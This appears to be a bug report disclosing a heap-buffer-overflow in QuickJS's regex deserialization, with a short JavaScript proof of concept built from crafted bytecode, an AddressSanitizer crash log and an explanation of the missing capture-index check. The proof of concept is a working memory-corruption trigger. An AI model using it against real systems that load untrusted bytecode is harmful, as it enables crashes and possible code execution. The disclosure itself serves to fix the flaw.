var buf = new Uint8Array([
0x17, 0x00, 0x11, // BC_VERSION, atom_count=0, BC_TAG_REGEXP
0x02, 0x78, // pattern = "x"
0x18, // bytecode len = 12
0x00, 0x00, 0x01, 0x00, // flags=0, capture_count=1, stack_size=0
0x04, 0x00, 0x00, 0x00, // bytecode_len=4
0x05, 0x0C, 0x64, 0x0B // REOP_any, REOP_save_start(100), REOP_match
]);
bjson.read(buf.buffer, 0, buf.length, 0).exec("a");
==1750466==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000001490 at pc 0x55fb5a0cfc26 bp 0x7ffcc4ad81e0 sp 0x7ffcc4ad81d8
WRITE of size 8 at 0x502000001490 thread T0
#0 0x55fb5a0cfc25 in lre_exec_backtrack .../quickjs/libregexp.c:2254:57
#1 0x55fb5a0cbc0d in lre_exec .../quickjs/libregexp.c:2528:11
#2 0x55fb59fca201 in js_regexp_exec .../quickjs/quickjs.c:47442:14
#3 0x55fb59ed15e2 in js_call_c_function .../quickjs/quickjs.c:17113:19
#4 0x55fb59f14868 in JS_CallInternal .../quickjs/quickjs.c:17329:16
#5 0x55fb59f183f1 in JS_CallInternal .../quickjs/quickjs.c:17787:27
#6 0x55fb59feead8 in async_func_resume .../quickjs/quickjs.c:20225:12
#7 0x55fb59feead8 in js_async_function_resume .../quickjs/quickjs.c:20480:16
#8 0x55fb59f56044 in js_async_function_call .../quickjs/quickjs.c:20599:10
...
Description
JS_ReadRegExp()stores regex bytecode verbatim without validating thatREOP_save_start/REOP_save_endindices are withincapture_count. The only guard is anassert()atlibregexp.c:2252-2253, compiled out withNDEBUG. A crafted serialized regex can trigger a heap write far past thecapture[]allocation.quickjs/libregexp.c
Lines 2252 to 2254 in 610f849
PoC
Requires
--std. Run with ASAN release build or debug build:ASan log:
Thanks for looking into this and we appreciate any feedback!